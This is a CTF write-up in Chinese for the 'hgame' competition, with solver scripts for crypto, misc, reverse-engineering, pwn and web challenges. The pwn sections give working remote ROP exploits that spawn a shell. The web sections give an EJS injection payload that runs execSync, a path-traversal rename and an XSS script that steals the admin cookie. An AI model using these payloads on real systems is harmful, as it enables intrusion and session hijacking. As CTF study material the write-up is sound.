hgame wp

签到

TEST NC

很简单的nc,连接之后cat flag 就好

82b7df2c1ba602b30dd03f731f135e01.png

hgame{YOUR-cAN_ConNecT-T0-thE-R3m0tE_ENVlr0nmeNt-to-Get-FLag0}

从这里开始的序章。

hgame{Now-I-kn0w-how-to-subm1t-my-fl4gs!}

CRYPTO

ezBag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from sage.all import MixedIntegerLinearProgram, vector
from Crypto.Cipher import AES
import hashlib

list_data = [
[2826962231, 3385780583, 3492076631, ...], # 省略,粘贴完整数据
[2241199309, 3658417261, 3032816659, ...],
[4263404657, 3176466407, 3364259291, ...],
[2844773681, 3852689429, 4187117513, ...]
]
bag = [123342809734, 118191282440, 119799979406, 128273451872]
ciphertext = b'\x1d6\xcc}\x07\xfa7G\xbd\x01\xf0P4^Q"\x85\x9f\xac\x98\x8f#\xb2\x12\xf4+\x05`\x80\x1a\xfa !\x9b\xa5\xc7g\xa8b\x89\x93\x1e\xedz\xd2M;\xa2'

mip = MixedIntegerLinearProgram(maximization=False)

x = mip.new_variable(binary=True, indices=range(64))

# 对应四组背包和约束:sum_{j=0..63} x_j * list_data[i][j] = bag[i]
for i in range(4):
mip.add_constraint(
sum(x[j] * list_data[i][j] for j in range(64)) == bag[i]
)

mip.solve()

# 获取解并还原 p
solution_bits = [int(round(mip.get_values(x[j]))) for j in range(64)]
p = 0
for j in reversed(range(64)):
p = (p << 1) | solution_bits[j]

key = hashlib.sha256(str(p).encode()).digest()

cipher = AES.new(key, AES.MODE_ECB)
plaintext = cipher.decrypt(ciphertext)

print(plaintext)

hgame{@_Simple_Modular_Subset_Sum_Problem!}

sieve

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from tqdm import tqdm
e = 65537
n = e^2//6
def sum_totients_with_progress(n):
phi = list(range(n + 1)) # 初始化 phi[i] = i
phi_sum = [0] * (n + 1) # 存储前缀和
primes = []
is_prime = [True] * (n + 1)

# 使用 tqdm 添加进度条
for i in tqdm(range(2, n + 1), desc="Calculating Totients"):
if is_prime[i]: # i 是质数
primes.append(i)
phi[i] = i - 1

# 用所有之前找到的质数来筛选 i 的倍数
for p in primes:
if i * p > n:
break
is_prime[i * p] = False
if i % p == 0: # p 是 i 的因子
phi[i * p] = phi[i] * p
break
else:
phi[i * p] = phi[i] * (p - 1)

# 计算前缀和
phi_sum[i] = phi_sum[i - 1] + phi[i]

return phi_sum[n]

# 运行示例
n = 715849728 # 计算 2 到 10^6 之间的欧拉函数和,并显示进度
result = sum_totients_with_progress(n)
print(f"Sum of totients from 2 to {n}: {result}")

from sympy import primepi

n = 715849728
count = primepi(n)
print(count)
p = q = nextprime((result+count+1)<<128)
# print(155763335410704471+37030583+1)
# print(nextprime(155763335447735055<<128))
p = q = 53003516465655400667707442798277521907437914663503790163
phi = (p-1)*q
d = inverse(e,phi)
m = pow(enc,d,p*q)
print(long_to_bytes(m))

hgame{sieve_is_n0t_that_HArd}

MISC

Hakuya Want A Girl Friend

用imhex打开发现头文件为504B0304,是zip,拉到最后发现有个GNP。。。

image.png

把GNP反转一下成PNG

image.png

OK,帅哥你谁?

爆破一下宽高

291bfb0fdad3a8f07dd2c0cf1afe278f.png

于是能在帅哥的衣服上看到zip密码

hagme{h4kyu4_w4nt_gir1f3nd_+q_931290928}

Level 314 线性走廊中的双生实体

是7z压缩包,改一下后缀名打开后看torch.py源码

不用考虑该传输什么张量

image.png

可以直接把判断条件改为TRUE

image.png

这时候再随便传一个张量上去就能获得flag了

1
2
3
4
5
6
import torch
entity = torch.jit.load('entity1.pt')
target_mean = 0.31415
input_tensor =torch.full((2,10),target_mean,dtype=torch.float32)
output = entity(input_tensor)
print(output)

flag{s0_th1s_1s_r3al_s3cr3t}

Computer cleaner

part1是webshell特征

part2访问攻击者ip即可得到

4ec925b8e53e85195004d8a8fdc8a17c.png

part3在document里

hgame{y0u_hav3_cleaned_th3_c0mput3r!}

PWN

counting petals

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
from pwn import*  
import ctypes
elf=ELF('./vuln')
#p=process('./1')
p=remote('node1.hgame.vidar.club',31890)
context(os='linux',arch='amd64',log_level='debug')
libc = ELF('libc.so.6')
#"\\wsl.localhost\kali-linux\home\kali\pwn\hgame\1\libc.so.6"

def s(a):
p.send(a)
def sa(a, b):
p.sendafter(a, b)
def sl(a):
p.sendline(a)
def sla(a, b):
p.sendlineafter(a, b)
def li(a):
print(hex(a))
def r():
p.recv()
def pr():
print(p.recv())
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def get_32():
return u32(p.recvuntil(b'\xf7')[-4:])
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def bug():
gdb.attach(p)
def pwn():
elf1=ctypes.CDLL("libc.so.6")
elf1.srand(elf1.time(0))
v6 = elf1.rand() % 30
p.recv()
sl(b'16')

for i in range(15):
p.recv()
sl(b'+')
p.recv()

sl(b'19')
for i in range(17):
p.recv()
sl(b'+')
p.recv()
sl(b'1111')
p.recv()
sl(b'+')
rl(b'latter:')
sl(b'1')
rl(b'1111 + ')
libc_base=(p.recv(15))
libc_base=int(libc_base.decode('utf-8'))-0x29d90
li(libc_base)

rl(b'How many flowers have you prepared this time?')
sl(b'16')
for i in range(15):
p.recv()
sl(b'1')
p.recv()
sl(b'22')
for i in range(18):
p.recv()
sl(b'+')
rax = libc_base+libc.search(asm("pop rax\nret")).__next__()
rsi = libc_base+libc.search(asm("pop rsi\nret")).__next__()
rdx = libc_base+0x000000000011f2e7
syscall=libc_base+libc.search(asm("syscall\nret")).__next__()
rdi = libc_base+libc.search(asm("pop rdi\nret")).__next__()
system=libc_base + libc.sym['system']
bin=libc_base + next(libc.search(b'/bin/sh\x00'))
p.recv()
sl(str(rdi+1).encode('utf-8'))
p.recv()
sl(str(rdi).encode('utf-8'))
p.recv()
sl(str(bin).encode('utf-8'))
p.recv()
sl(str(system).encode('utf-8'))
rl(b'Reply 1 indicates the former and 2 indicates the latter:')
sl(str(v6))

pwn()

inter()

2881b7bf11d8aa9c83cc729c93f7f864.png

flag{1184436b-7936-ffdb-e143-3134d76c39d3}

format

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

libc = ELF('./libc.so.6')
elf = ELF('./vuln')
bss = 0x404050
ret_base = 0x40101a
# p = process('./vuln')
p = remote('node1.hgame.vidar.club',31973)
# gdb.attach(p, 'b *0x4011CC')

p.recvuntil(b'n = ')
p.sendline(b'1')

p.recvuntil(b'type something:')
p.sendline("%p")

p.recvuntil(b'0x')
buf = int(p.recvuntil(b'y', drop=True), 16)+0x2138+0x10

log.success(f'buf: {hex(buf)}')

p.recvuntil(b'n = ')
p.send(b'-1')

# p.recvuntil(b'type something:')
payload = b'a'*5+p64(buf-0x18)+p64(0x4012CF)+b'%3$p'
p.send(payload)

p.recvuntil(b'0x')
read_addr = int(p.recvuntil(b'\xff', drop=True), 16)-18
log.success(f'read_addr: {hex(read_addr)}')
libc_base = read_addr-libc.sym['read']
log.success(f'libc_base: {hex(libc_base)}')

ret = libc_base+0x29139
log.success(f'ret: {hex(ret)}')
rdi = libc_base+0x2a3e5
log.success(f'rdi: {hex(rdi)}')
system = libc_base+libc.sym['system']
log.success(f'system: {hex(system)}')
binsh = libc_base+next(libc.search(b'/bin/sh'))
log.success(f'binsh: {hex(binsh)}')

payload = b'a'*4+p64(buf-0x18)+p64(ret_base)+p64(rdi)+p64(binsh)+p64(system)
p.sendline(payload)

p.interactive()

bf041dfd8bc7c6ae2d582b3069465c33.png

VIDAR{Care1ess_pr1ntf}

RE

Compress dot new

很简单的伪代码,解压哈夫曼,直接丢给gpt就出了

image 4.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import json

def decompress(compressed_file, output_file):
# 读取压缩文件内容
with open(compressed_file, 'r') as f:
lines = f.read().splitlines()
if len(lines) < 2:
raise ValueError("压缩文件格式不正确!")

# 第一行:哈夫曼树(JSON格式),第二行:比特串
tree_json = lines[0]
encoded = lines[1]

# 解析哈夫曼树
tree = json.loads(tree_json)

# 解码比特串
result_bytes = []
node = tree # 从根节点开始
for bit in encoded:
if bit == '0':
node = node.get('a')
elif bit == '1':
node = node.get('b')
else:
raise ValueError("遇到无效比特:{}".format(bit))

# 如果到达叶节点,则输出对应字节
if node is not None and 's' in node:
# 注意:这里的 node['s'] 是整数(0~255),直接加入字节列表
result_bytes.append(node['s'])
node = tree # 重置到树根继续解码

# 将字节列表转换为二进制数据
result = bytes(result_bytes)
with open(output_file, 'wb') as f:
f.write(result)
print("解压成功,结果已保存到 '{}'".format(output_file))

if __name__ == '__main__':
decompress('enc.txt', 'flag_decompressed.txt')

hgame{Nu-Shell-scr1pts-ar3-1nt3r3st1ng-t0-wr1te-&-use!}

Turtle

有三个加密,先脱upx壳,用dbg在这个地方打断点跑

f074feb48adc6f1e5b696d6305874de8.png

然后解flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
def rc4_ksa(key):
s = list(range(256))
j = 0
for i in range(256):
j = (j + s[i] + key[i % len(key)]) % 256
s[i], s[j] = s[j], s[i]
return s

def rc4_prga(s, length):
i = 0
j = 0
key_stream = []
s = s.copy()
for _ in range(length):
i = (i + 1) % 256
j = (j + s[i]) % 256
s[i], s[j] = s[j], s[i]
k = s[(s[i] + s[j]) % 256]
key_stream.append(k)
return key_stream

key_ksa = b'yekyek'
cipher_key = bytes([0xCD, 0x8F, 0x25, 0x3D, 0xE1, 0x51, 0x4A])

s = rc4_ksa(key_ksa)
key_stream = rc4_prga(s, len(cipher_key))
plain_key = bytes([cipher_key[i] ^ key_stream[i] for i in range(7)])
print(f"Key: {plain_key}")

cipher_flag = bytes([
0xF8, 0xD5, 0x62, 0xCF, 0x43, 0xBA, 0xC2, 0x23,
0x15, 0x4A, 0x51, 0x10, 0x27, 0x10, 0xB1, 0xCF,
0xC4, 0x09, 0xFE, 0xE3, 0x9F, 0x49, 0x87, 0xEA,
0x59, 0xC2, 0x07, 0x3B, 0xA9, 0x11, 0xC1, 0xBC,
0xFD, 0x4B, 0x57, 0xC4, 0x7E, 0xD0, 0xAA, 0x0A
])

s_flag = rc4_ksa(plain_key)
key_stream_flag = rc4_prga(s_flag, len(cipher_flag))
plain_flag = bytes([(cipher_flag[i] + key_stream_flag[i]) % 256 for i in range(40)])
print(f"Flag: {plain_flag.decode()}")

hgame{Y0u'r3_re4l1y_g3t_0Ut_of_th3_upX!}

尊嘟假嘟

如果阳寿比较充足的话,能够按照o.00.oo.00.oo.0o.00.o0.o0.o0.o0.oo.0这个顺序点出来flag

OK还是来正经的吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import base64   
def xor_base(s, string1=
"3GHIJKLMNOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF"):
s = [ord(i) for i in s]
for i in range(len(s)):
s[i] ^= i
encoded = bytes(s)
encoded_base64 = base64.b64encode(encoded).decode()
return encoded_base64.translate(str.maketrans
("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/", string1))
def burst_key(level, base, file_path="keys.txt"):
if level == 12:
return
with open(file_path, "a") as f:
for suffix in ["0.o", "o.0"]:
temp = base + suffix
try:
key = xor_base(temp)
f.write(key + "\n") # 将 key 写入文件
finally:
pass
burst_key(level + 1, temp, file_path)
burst_key(0, "", "C:\\Users\\LENOVO\\OneDrive\\桌面\\key.txt")
def KSA(key):
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + key[i % len(key)]) % 256
S[i], S[j] = S[j], S[i]
return S
def PRGA(S):
i, j = 0, 0
while True:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
yield S[(S[i] + S[j]) % 256]
def RC4(ciphertext, key):
if isinstance(key, str):
key = [ord(c) for c in key]
S = KSA(key)
keystream = PRGA(S)
return [c ^ next(keystream) for c in ciphertext]
enc = [
0x7A, 0xC7, 0xC7, 0x94, 0x51, 0x82, 0xF5, 0x99, 0x0C, 0x30,
0xC8, 0xCD, 0x97, 0xFE, 0x3D, 0xD2, 0xAE, 0x0E, 0xBA, 0x83,
0x59, 0x87, 0xBB, 0xC6, 0x35, 0xE1, 0x8C, 0x59, 0xEF, 0xAD,
0xFA, 0x94, 0x74, 0xD3, 0x42, 0x27, 0x98, 0x77, 0x54, 0x3B,
0x46, 0x5E, 0x95
]
def RC4_file(key_file="keys.txt"):
with open(key_file, "r") as f:
keys = f.read().splitlines()
for key in keys:
decrypted = "".join(map(chr, RC4(enc, key)))
if "hgame{" in decrypted:
print(f"Key: {key} -> Decrypted: {decrypted}")
RC4_file("C:\\Users\\LENOVO\\OneDrive\\桌面\\key.txt")

hgame{4af153b9-ed3e-420b-978c-eeff72318b49}

如果不会fridahook的话可以重构一遍app,调用dex

WEB

Level 24 Pacman

在控制台改分,输_score=9999999999999999999999

image.png

得到一个base64:aGFlcGFpZW1rc3ByZXRnbXtydGNfYWVfZWZjfQ==

解码之后是haepaiemkspretgm{rtc_ae_efc},再栅栏解密一下

image.png

hgame{u_4re_pacman_m4ster}

Level 47 BandBomb

文件上传

写一个.ejs post上去,内容是访问环境变量

1
<%= global.process.mainModule.constructor._load('child_process').execSync('env') %>

然后调改名,改成代路径的

1
{"oldName": "exploit.ejs", "newName": "../views/mortis.ejs"}

再访问就能找到flag了

9a69c868f5a56bfe2323df91bcdf1f86.png

hgame{@VE_mUj1C4-H@s-6R0K3n_UP-buT-WE HavE um1T@K182}

Level 69 MysteryMessageBoard

吐槽一下这道题怎么这么诡异,一点提示都没有

OK来解题吧,密码是888888,弱密码爆出来

我们提交一个xss,让访问这个页面的人自动发一个请求,把admin的cookie用comment发到留言板上

1
2
3
4
5
6
7
8
9
10
<script>
// 使用Fetch API来发送cookie
fetch('/comments/new', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
},
body: 'comment=Admin+Cookie:+'+encodeURIComponent(document.cookie)
}).then(response => console.log('Cookie Sent!'));
</script>

然后访问/admin查看评论

image.png

之后就能看到admin的cookie了,在浏览器设置一下我们就成了admin

然后访问/flag就可以了

7955104420125539c4155705f2e77708.png

hgame {WOw_y0u_5r4_9o0d_4t_xss}